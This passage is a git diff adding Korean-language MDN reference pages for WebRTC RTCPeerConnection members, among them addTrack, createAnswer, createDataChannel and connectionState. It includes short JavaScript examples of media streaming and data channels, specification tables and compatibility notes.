또한, 각각의 트랙을 받을 때 마다, 신규 스트림을 만들 수 있습니다:

+ +
pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    let inboundStream = new MediaStream(track);
+    videoElem.srcObject = inboundStream;
+  }
+}
+ +

특정 스트림에 트랙 연동하기

+ +

스트림을 명시하고 {{domxref("RTCPeerConnection")}}가 스트림을 만들 수 있도록 허용하면, WebRTC 인프라에 의해 스트림의 트랙들이 자동으로 연동됩니다. 이는 트랜시버의 {{domxref("RTCRtpTransceiver.direction", "direction")}}를 변경하거나, {{domxref("RTCPeerConnection.removeTrack", "removeTrack()")}}를 사용해서 트랙을 멈추는 것도 포함합니다.

+ +

예를 들어, 아래의 함수는 어플리케이션이 {{domxref("RTCPeerConnection")}}를 통해 미디어 장치의 카메라 및 마이크 입력을 원격 유저에게 스트리밍을 시작하도록 사용 될 수 있습니다:

+ +
async openCall(pc) {
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    pc.addTrack(track, gumStream);
+  }
+}
+ +

아래와 같이, 원격 유저는 {{event("track")}} 이벤트 핸들러를 사용 할 수 있습니다:

+ +
pc.ontrack = ({streams: [stream]} => videoElem.srcObject = stream;
+ +

위의 코든 연결 인터페이스에 이미 추가 되었던 트랙을 가지고 있는 현재 스트림에 비디오 엘리먼트 설정합니다.

+ +

재사용되는 senders

+ +

이 메소드는 신규 RTCRtpSender 를 반환하거나, 아직 데이터를 송신하지 않은 이미 존재하던 호환 가능한 sender를 특정 조건아래 반환합니다. 호환성 및 재사용성이 있는 RTCRtpSender 인스턴스는 아래의 조건들을 만족해야합니다:

+ + + +

위의 조건들을 모두 만족하게되면, sender가 재사용되어 이미 존재하던 RTCRtpSender 및 RTCRtpTransceiver 에 아래와 같은 변경사항이 적용됩니다: 

+ + + +

신규 senders

+ +

재사용가능한 sender가 없으면, 신규 sender가 생성됩니다. 신규로 생성되면, 꼭 있어야하는 관련된 객체들도 생성됩니다. 이 과정에서 다음과 같은 변화가 발생합니다:

+ + + +
+
+ +

예시

+ +

아래의 코드는 Signaling and video calling 문서에서 가져온 코드입니다. 이 코드는 handleVideoOfferMsg()메소드에서 제공되는 것으로, offer 메세지가 원격 유저에서 수신되면 호출됩니다.

+ +
var mediaConstraints = {
+  audio: true,            // We want an audio track
+  video: true             // ...and we want a video track
+};
+
+var desc = new RTCSessionDescription(sdp);
+
+pc.setRemoteDescription(desc).then(function () {
+  return navigator.mediaDevices.getUserMedia(mediaConstraints);
+})
+.then(function(stream) {
+  previewElement.srcObject = stream;
+
+  stream.getTracks().forEach(track => pc.addTrack(track, stream));
+})
+ +

위의 코드는 SDP를 원격 유저로부터 수신 받아서 신규 {{domxref("RTCSessionDescription")}}를 만들고 {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}로 전달합니다. pc.setRemoteDescription(desc)의 실행이 성공하게되면, {{domxref("MediaDevices.getUserMedia()")}}를 사용해서 로컬 유저의 웹캠과 마이크에 대한접근 권한을 얻습니다. 앞의 과정이 성공하게되면, 스트림은 {{HTMLElement("video")}} 엘리먼트를 위한 소스로 지정됩니다. 이 스트림은 previewElement변수를 통해 참조가 가능해집니다.

+ +

마지막으로 피어 연결을 통헤 caller에게 로컬 비디오 전달을 시작합니다. 이 과정은 {{domxref("MediaStream.getTracks()")}}에 의해 반환된 리스트를 iterate하고, 이들을 구성하는 stream과 함께 addTrack()에 전달되어 스트림에 각각의 트랙들을 추가합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-addtrack', 'RTCPeerConnection.addTrack()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.addTrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html new file mode 100644 index 0000000000..e9dbc9f893 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -0,0 +1,87 @@ +--- +title: RTCPeerConnection.canTrickleIceCandidates +slug: Web/API/RTCPeerConnection/canTrickleIceCandidates +translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates +--- +
{{APIRef("WebRTC")}}
+ +

읽기 속성인 {{domxref("RTCPeerConnection")}} 속성의 canTrickleIceCandidates는 원격유저가 trickled ICE candidates를 승인 할 수 있는지의 여부를 알려주는 {{jsxref("Boolean")}}을 반환합니다.

+ +

ICE trickling 은 초기 offer 혹은 answer를 다른 유저에게 이미 전달을 했음에도 계속해서 candidate를 보내는 과정을 뜻합니다.

+ +

이 속성은 {{domxref("RTCPeerConnection.setRemoteDescription()")}}가 호출된 후에만 설정됩니다. Signaling 프로토콜이 trickling 지원을 감지하는 방법을 제공해서 이 속성에 의존 할 필요가 없이 하는 것이 가장 좋은 방법입니다. WebRTC 브라우저는 항상 trickle ICE를 지원하게 되어있습니다. 하지만 몇몇 경우에 trickling이 지원이 되지 않거나 애초에 지원하는지를 알 수 없다면, 이 속성의 값이 이상한지 확인하고, 또한 초기 offer를 생성하고 전달하기 이전에 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 "completed"로 바뀌기전까지 기다릴 수 있습니다. 이러한 방식으로 offer에 모든 candidate들이 포함되도록 만들 수 있습니다.

+ +

Syntax

+ +
 var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
+ +

+ +

{{jsxref("Boolean")}}는 원격 유저가 trickled ICE candidate를 수용 할 수 있으면 true 값이고, 그렇지 않으면 false 값 입니다. 이미 원격 유저가 생성되었으면, 이 값은 null 입니다.

+ +
+

참조: 이 속성의 값은 로컬 피어가 {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출하게 되면 결정됩니다. 여기에서 제공된 정보를 사용해서 ICE agent가 원격 유저가 trickled ICE candidate를 지원하는지에 대한 여부를 결정해줍니다.

+
+ +

예시

+ +
var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+  .then(_ => pc.createAnswer())
+  .then(answer => pc.setLocalDescription(answer))
+  .then(_ =>
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r => {
+      pc.addEventListener('icegatheringstatechange', e => {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer => sendAnswerToPeer(answer)) // signaling message
+  .catch(e => handleError(e));
+
+pc.addEventListener('icecandidate', e => {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // signaling message
+  }
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-canTrickleIceCandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/close/index.html b/files/ko/web/api/rtcpeerconnection/close/index.html new file mode 100644 index 0000000000..763beca7d4 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/close/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.close() +slug: Web/API/RTCPeerConnection/close +translation_of: Web/API/RTCPeerConnection/close +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.close() 메소드로 피어 연결을 종료합니다. 

+ +

Syntax

+ +
RTCPeerConnection.close();
+
+ +

이 메소드는 입력 패러미터가 없으며, 반환 값도 없습니다.

+ +

이 메소드를 호출하게되면, 모든 진행 중인 ICE 프로세싱 및 활성화된 스트림을 종료하고, RTCPeerConnection의 ICE 에이전트를 종료합니다. 이 방법으로 ICE 에이전트에 의해 사용되는 리소스들 (TURN 허가 포함) 을 해제시킵니다. 모든 {{domxref("RTCRtpSender")}} 객체들은 이 메소드가 반환되면 정지됩니다. (아직 종료 중인 과정에 있을 수도 있습니다만, 사실상 정지됩니다.)

+ +

이 메소드가 반환되면, {{domxref("RTCPeerConnection.signalingState")}}에 의해 반환된 signaling 상태가 closed로 됩니다.

+ +

같은 원격 유저와의 새로운 연결 생성을 시도하기전에 이전에 존재하던 {{domxref("RTCPeerConnection")}}의 모든 참조 값들을 delete하십시오. 삭제되지 않은 참조 값들이 브라우저에서 오류를 초래 할 수 있습니다.

+ +

예시

+ +
var pc = new RTCPeerConnection();
+var dc = pc.createDataChannel("my channel");
+
+dc.onmessage = function (event) {
+  console.log("received: " + event.data);
+  pc.close(); // 첫 메세지를 받으면, 연결을 종료
+};
+
+dc.onopen = function () {
+  console.log("datachannel open");
+};
+
+dc.onclose = function () {
+  console.log("datachannel close");
+};
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-close-void', 'RTCPeerConnection.close()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.close")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/connectionstate/index.html b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html new file mode 100644 index 0000000000..a675cef4cb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html @@ -0,0 +1,111 @@ +--- +title: RTCPeerConnection.connectionState +slug: Web/API/RTCPeerConnection/connectionState +translation_of: Web/API/RTCPeerConnection/connectionState +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 읽기 속성인 connectionState는 피어 연결의 현재 상태를 알려줍니다. 이 속성은 RTCPeerConnectionState enum 값 중 하나를 문자열로 반환해줍니다.

+ +

만약 이 속성의 값이 바뀌게되면, {{domxref("RTCPeerConnection")}} 인스턴스로 {{event("connectionstatechange")}} 이벤트가 전송됩니다.

+ +

Syntax

+ +
var connectionState = RTCPeerConnection.connectionState;
+ +

+ +

연결의 현재 상태를 RTCPeerConnectionState enum의 값 중 하나로 표시합니다.

+ + + +

RTCPeerConnectionState enum

+ +

RTCPeerConnectionState enum은 RTCPeerConnection이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new" +

연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 "new" 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: "connecting", "checking", "failed", 혹은 "disconnected", 혹은  모든 연결의 전송이 끝났다는 "closed"상태.

+
"connecting"하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 RTCIceConnectionState"checking" 혹은 "connected"이며, 그 어떤 전송도 "failed"상태가 아니여야합니다. <<< Make this a link once I know where that will be documented
"connected"연결에 의해 사용되는 모든 ICE 전송이 사용 중 ("connected" 혹은 "completed")이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 "connected" 혹은 "completed"입니다.
"disconnected"연결에 대한 최소 한 개의 ICE 전송이 "disconnected"상태이고, 그 외의 다른 전송 상태는 "failed", "connecting", 혹은 "checking"이 아님을 알려주는 값. 
"failed" +

연결에 대한 하나 혹은 여러개의 ICE 전송이 "failed"상태임을 알려주는 값.

+
"closed" +

RTCPeerConnection 개통되지 않음을 알려주는 값.

+ +

2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 RTCPeerConnectionState enum 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. 

+
+ + + +

예시

+ +
var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-connectionState', 'RTCPeerConnection.connectionState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.connectionState")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/createanswer/index.html b/files/ko/web/api/rtcpeerconnection/createanswer/index.html new file mode 100644 index 0000000000..a57adb7be1 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/createanswer/index.html @@ -0,0 +1,96 @@ +--- +title: RTCPeerConnection.createAnswer() +slug: Web/API/RTCPeerConnection/createAnswer +translation_of: Web/API/RTCPeerConnection/createAnswer +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 createAnswer() 메소드는 WebRTC 연결 중 발생하는 offer/answer 네고시에이션에서 원격 유저로부터 받은 offer에 대한 {{Glossary("SDP")}} answer를 생성합니다. 이 answer는 세션이 이미 부착된 미디어, 브라우저에서 지원하는 코덱 및 옵션, 그리고 이미 수집된 {{Glossary("ICE")}} candidate에 대한 정보를 담고 잇습니다. Answer는 반환 된 {{jsxref("Promise")}}에 전달되고, 그 다음에는 네고시에이션 과정을 계속 진행하기 위해서 offer의 소스에게 전달되야합니다. 

+ +

Syntax

+ +
aPromise = RTCPeerConnection.createAnswer([options]);
+
+RTCPeerConnection.createAnswer(successCallback, failureCallback[, options]); {{deprecated_inline}}
+ +

매개 변수

+ +
+
options {{optional_inline}}
+
Answer를 커스터마이즈 할 수 있는 옵션을 설정하는 객체입니다. 설정 가능한 옵션은 {{domxref("RTCAnswerOptions")}} 딕셔너리에 기반합니다.
+
+ +

더 이상 사용되지 않는 매개 변수

+ +

이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, Promise 버전인 createAnswer()를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 createAnswer()의 특정 변수에 대해 아래에서 설명합니다.

+ +
+
+ +
+
successCallback {{deprecated_inline}}
+
신규 생성된 answer를 설명하는 단일 {{domxref("RTCSessionDescription")}} 객체에 전달되는 {{domxref("RTCSessionDescriptionCallback")}} 입니다.
+
failureCallback {{deprecated_inline}}
+
왜 answer를 생성하는 요청이 실패했는지를 설명해주는 단일 {{domxref("DOMException")}} 객체에 전달되는 {{domxref("RTCPeerConnectionErrorCallback")}} 입니다.
+
options {{optional_inline}}
+
Answer를 위해 요청된 옵션을 제공하는 {{domxref("RTCOfferOptions")}} 객체입니다. 
+
+ +

예외처리

+ +
+
NotReadableError
+
아이덴티티 제공자가 아이덴티티 주장을 제공 할 수 없음을 알려줍니다.
+
OperationError
+
SDP 생성이 어떤 이유로 실패했음을 알려줍니다. 이는 일반적인 failure catch-all exception 입니다.
+
+ +

반환 값

+ +

다른 유저에게 전달되는 SDP answer를 가진 {{domxref("RTCSessionDescriptionInit")}} 딕셔너리에 준수하는 객체와 함께 호출되는 fulfillment 핸들러인 {{jsxref("Promise")}} 입니다.

+ +

예시

+ +

아래는 Signaling and video calling 문서에서 나오는 코드의 일부입니다. 이 코드는 시그널링 채널을 통해 다른 유저에게 offer는 전달하는 메세지를 다루는 핸들러에서 나옵니다.

+ +
+

주의 할 점은 이것이 시그널링 과정의 일부이며, 전송계층 구현에 대한 세부사항은 전적으로 개발자에게 달려있다는 것 입니다. 여기서는 WebSocket 연결을 사용해서 다른 유저에게 "video-answer" 값이 있는 type 필드 및 offer를 보낸 장치에게 전달 할 answer를 담은 {{Glossary("JSON")}} 메세지를 보냅니다. 프로미스 fulfillment 핸들러의 다른 모든 항목들과 함께 sendToServer()함수로 전달되는 객체의 내용을 어떻게 할 지는 개발자의 디자인에 달려잇습니다.

+
+ +
pc.createAnswer().then(function(answer) {
+  return pc.setLocalDescription(answer);
+})
+.then(function() {
+  // Send the answer to the remote peer through the signaling server.
+})
+.catch(handleGetUserMediaError);
+
+ +

위의 예제는 {{domxref("RTCPeerConnection")}}가 신규 answer를 만들고 반환하도록 요청합니다. 프로미스 핸들러에 반환된 answer는 {{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}} 호출에 의해 연결의 로컬 엔드에 대한 description으로 설정됩니다.

+ +

이 과정이 성공하면, answer는 적당한 아무 프로토콜을 사용해서 시그널링 서버에 전달됩니다. 그리고 {{jsxref("Promise.catch()")}}는 에러를 잡아내고 처리하기 위해 사용됩니다.

+ +

{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Handling the invitation")}}를 확인해서 전체 코드를 확인해보십시오. 이 문서를 보면 시그널링 과정 및 answer가 어떻게 작동하는지를 이해 할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-createanswer', 'createAnswer()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.createAnswer")}}

diff --git a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html new file mode 100644 index 0000000000..c348421377 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html @@ -0,0 +1,146 @@ +--- +title: RTCPeerConnection.createDataChannel() +slug: Web/API/RTCPeerConnection/createDataChannel +translation_of: Web/API/RTCPeerConnection/createDataChannel +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 createDataChannel() 메소드는 어떤 형식의 데이터든 송신 할 수 있도록 원격 유저와 연결하는 신규 채널을 생성합니다.이 방법은 이미지, 파일 전송, 문자 채팅, 게임 패킷 업데이트 등과 같은 백채널 컨텐츠에 유용하게 사용 가능합니다.

+ +

연결 인터페이스에 신규 채널이 처음 추가되면, 재협상 과정이 {{event("negotiationneeded")}} 이벤트를 전달하여 시작됩니다.

+ +

Syntax

+ +
dataChannel = RTCPeerConnection.createDataChannel(label[, options]);
+ +

매개변수

+ +
+
label
+
사람이 읽을 수 있는 채널 이름입니다. 이름의 문자열은 65,535 바이트 보다 작아야합니다.
+
options {{optional_inline}}
+
RTCDataChannelInit dictionary가 데이터 채널에 대한 설정 옵션들을 제공합니다. 
+
+ +

RTCDataChannelInit 딕셔너리

+ +

RTCDataChannelInit 딕셔너리는 개발자의 필요에 따라 데이터 채널을 설정 할 때 객체로 전달되는 옵션 매개변수로 전달되는 객체에 포함 될 수 있는 다음의 필드들을 제공합니다:

+ +
+
ordered {{optional_inline}}
+
이 옵션은 {{domxref("RTCDataChannel")}}에 전달된 메세지가 보내진 순서대로 상대방에게 도착해야하는지 (true) 아니면 순서가 달라도 허용 (false)이 되는지를 결정합니다. 기본 값: true.
+
maxPacketLifeTime {{optional_inline}}
+
불안정한 모드에서 메세지를 전송 할 때 최대 몇 초 동안 전송을 시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (주의maxPacketLifeTime 혹은 maxRetransmits 옵션 둘 중 하나만 사용해야함.) 기본 값: null.
+
maxRetransmits {{optional_inline}}
+
불안정한 모드에서 메세지 전송이 실패하면 최대 몇 번을 재시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (주의maxPacketLifeTime 혹은 maxRetransmits 옵션 둘 중 하나만 사용해야함.) 기본 값: null.
+
protocol {{optional_inline}}
+
{{domxref("RTCDataChannel")}}에 사용되는 서브 프로토콜의 이름입니다. 존재하지 않으면 이 옵션은 빈 문자열 ("")입니다. 기본 값: 빈 문자열, "". 이 문자열은 65,535 바이트 보다 작아야합니다.
+
negotiated {{optional_inline}}
+
기본 값일 경우 (false), 데이터채널은 밴드의 대역 내에서 협상됩니다. 이 때, 한 쪽은 createDataChannel를 호출하고, 다른 쪽에서는 {{domxref("RTCDataChannelEvent")}} 이벤트를 ondatachannel EventHandler를 사용해서 감청합니다. 반대로 true 일 경우, 밴드의 대역 범위를 벗어나도 재협상이 가능해집니다. 이 때에는 양쪽에서 합의된 id를 가진 createDataChannel을 호출하게됩니다. 기본 값: false
+
id {{optional_inline}}
+
채널에 대한 16bit 숫자형 ID입니다. 허용되는 값은 0에서 65534 사이입니다. 이 값을 지정하지 않으면, 유저 에이전트가 알아서 ID를 지정해줍니다.
+
+ +
+

RTCDataChannelInit 딕셔너리를 사용해서 설정이 가능한 옵션들은 {{domxref("RTCDataChannel")}} 인터페이스에서 설정이 가능한 특성들의 서브 셋을 뜻합니다.

+
+ +

반환 값

+ +

지정한 label을 가지고, options에 지정한 옵션들을 사용하여 설정된 신규 {{domxref("RTCDataChannel")}} 객체입니다. 각 매개변수들을 지정하지 않으면, 기본 값으로 설정되어 생성됩니다.

+ +

예외처리

+ +
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}가 닫혀있음을 뜻합니다.
+
TypeError
+
이 에러는 여러 상황에서 발생이 가능합니다: +
    +
  • label 혹은 프로토콜 문자열이 너무 길어서 발생합니다. 해당 문자열은 65,535바이트보다 작아야합니다. 
  • +
  • id가 65535여서 발생합니다. 이 값은 유효한 부호가 없는 16bit 이지만, id 값으로 허용되는 범위를 벗어나게됩니다. (0-65534 까지만 허용)
  • +
+
+
SyntaxError
+
maxPacketLifeTimemaxRetransmits 옵션에 모두 값이 지정되면 발생합니다. 둘 중 하나에만 non-null 값을 지정해야 합니다.
+
ResourceInUse
+
id 값이 지정되었지만, 다른 {{domxref("RTCDataChannel")}}에서 이미 같은 이름을 사용 중이면 발생합니다.
+
OperationError
+
지정한 id가 이미 사용 중이거나, id가 지정되지 않았다면 모든 ID들이 사용 중이기 때문에 WebRTC 레이어에서 자동으로 id 생성이 불가능 할 때 발생합니다.
+
+ +

예시

+ +

아래의 예제에서는 어떻게 데이터 채널을 생성하고, 생성 할 때 메세지를 전송하고 수신하는 이벤트인 {{event("open")}}와 {{event("message")}}에대한 핸들러를 설정합니다. (onnegotiationneeded는 이미 설정이 되었다고 가정하고 간소화한 예입니다.)

+ +
// Offerer side
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat");
+channel.onopen = function(event) {
+  channel.send('Hi you!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +
// Answerer side
+
+var pc = new RTCPeerConnection(options);
+pc.ondatachannel = function(event) {
+  var channel = event.channel;
+  channel.onopen = function(event) {
+    channel.send('Hi back!');
+  }
+  channel.onmessage = function(event) {
+    console.log(event.data);
+  }
+}
+ +

다른 방법으로는 양쪽에서 합의한 id를 사용하여 보다 대칭적인 대역 밴드 외 협상이 가능합니다. (id는 0입니다):

+ +
// Both sides
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
+channel.onopen = function(event) {
+  channel.send('Hi!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +

연결 및 채널이 구성되는 예를 더 자세히 알고 싶다면, A simple RTCDataChannel sample를 참조하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-createDataChannel-RTCDataChannel-DOMString-label-RTCDataChannelInit-dataChannelDict', 'createDataChannel()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.createDataChannel")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html new file mode 100644 index 0000000000..45b79a88f4 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnection.currentLocalDescription +slug: Web/API/RTCPeerConnection/currentLocalDescription +translation_of: Web/API/RTCPeerConnection/currentLocalDescription +--- +

{{WebRTCSidebar}}

+ +

읽기 속성인 RTCPeerConnection.currentLocalDescription은 가장 최근에 {{domxref("RTCPeerConnection")}}가 성공적으로 네고시에이션을 마치고 원격 피어와 연결된, 연결인터페이스의 로컬 엔드를 설명하는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 이외에도 설명에 의해 offer 혹은 answer가 처음으로 인스턴스화 되면 ICE 에이전트에 의해 이미 생성됬을수도 있는 ICE candidate 목록이 포함되어 있습니다.

+ +

currentLocalDescription을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 살펴보십시오.

+ +
+

{{domxref("RTCPeerConnection.localDescription")}}와 다르게, currentLocalDescription는 연결 인터페이스의 로컬 엔드에 대한 현재 상태를 나타내는 값 입니다. localDescription은 연결 인터페이스가 현재 어떤 상태로 전환 중인지를 설명하는 값을 명시 할 수 있습니다.

+
+ +

Syntax

+ +
sessionDescription = RTCPeerConnection.currentLocalDescription;
+ +

반환 값

+ +

연결이 설정된 경우, 연결의 로컬 엔드에 대한 가장 최신 설명입니다. 성공적으로 연결이 설정이 되지 않았다면, 반환 값은 null 입니다.

+ +

예시

+ +

이 예시는 currentLocalDescription을 확인하고, {{domxref("RTCSessionDescription")}} 객체의 typesdp 필드를 담고 있는 경고 메세지를 출력합니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentLocalDescription', 'RTCPeerConnection.currentLocalDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.currentLocalDescription")}}

+ +
+

currentLocalDescription와 {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}}기능은 최근에 추가 되었습니다.  따라서, 이 기능을 지원하지 않는 브라우저에서는 {{domxref("RTCPeerConnection.localDescription", "localDescription")}}를 사용하십시오.

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html new file mode 100644 index 0000000000..8b767ac446 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.currentRemoteDescription +slug: Web/API/RTCPeerConnection/currentRemoteDescription +translation_of: Web/API/RTCPeerConnection/currentRemoteDescription +--- +

{{WebRTCSidebar}}

+ +

읽기 속성인 RTCPeerConnection.currentRemoteDescription은 마지막 {{domxref("RTCPeerConnection")}} 이후 가장 최근에 원격 유저와의 네고시에이션 및 연결을 성공적으로 마친 연결의 원격 엔드 포인트를 알려주는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 추가적으로 이 속성은 description에 의해 표현되는 마지막 offer 및 answer가 처음 시작되면 ICE 에이전트에 의해 생성이 되었을 수도 있는 모든 ICE candidate들의 리스트를 포함합니다.

+ +

currentRemoteDescription를 바꾸기 위해서는,  {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+ +
+

{{domxref("RTCPeerConnection.remoteDescription")}}와 다르게, 이 값은 연결의 로컬 엔드 포인트에 대한 실제 현재 상태를 보여줍니다. remoteDescription은 연결이 현재 어느 상태로 바뀌는지에 대한 설명도 명시 할 수 있습니다.

+
+ +

Syntax

+ +
sessionDescription = RTCPeerConnection.currentRemoteDescription;
+ +

반환 값

+ +

설정이 되어있다면, 연결의 원격 엔드포인트에 대한 현재 설명을 반환합니다. 설정되어있지않으면, 이 값은 null입니다. 

+ +

예시

+ +

아래 예제는 currentRemoteDescription 를 확인하고 객체의 typesdp 필드를 경고로 띄워줍니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentRemoteDescription', 'RTCPeerConnection.currentRemoteDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}

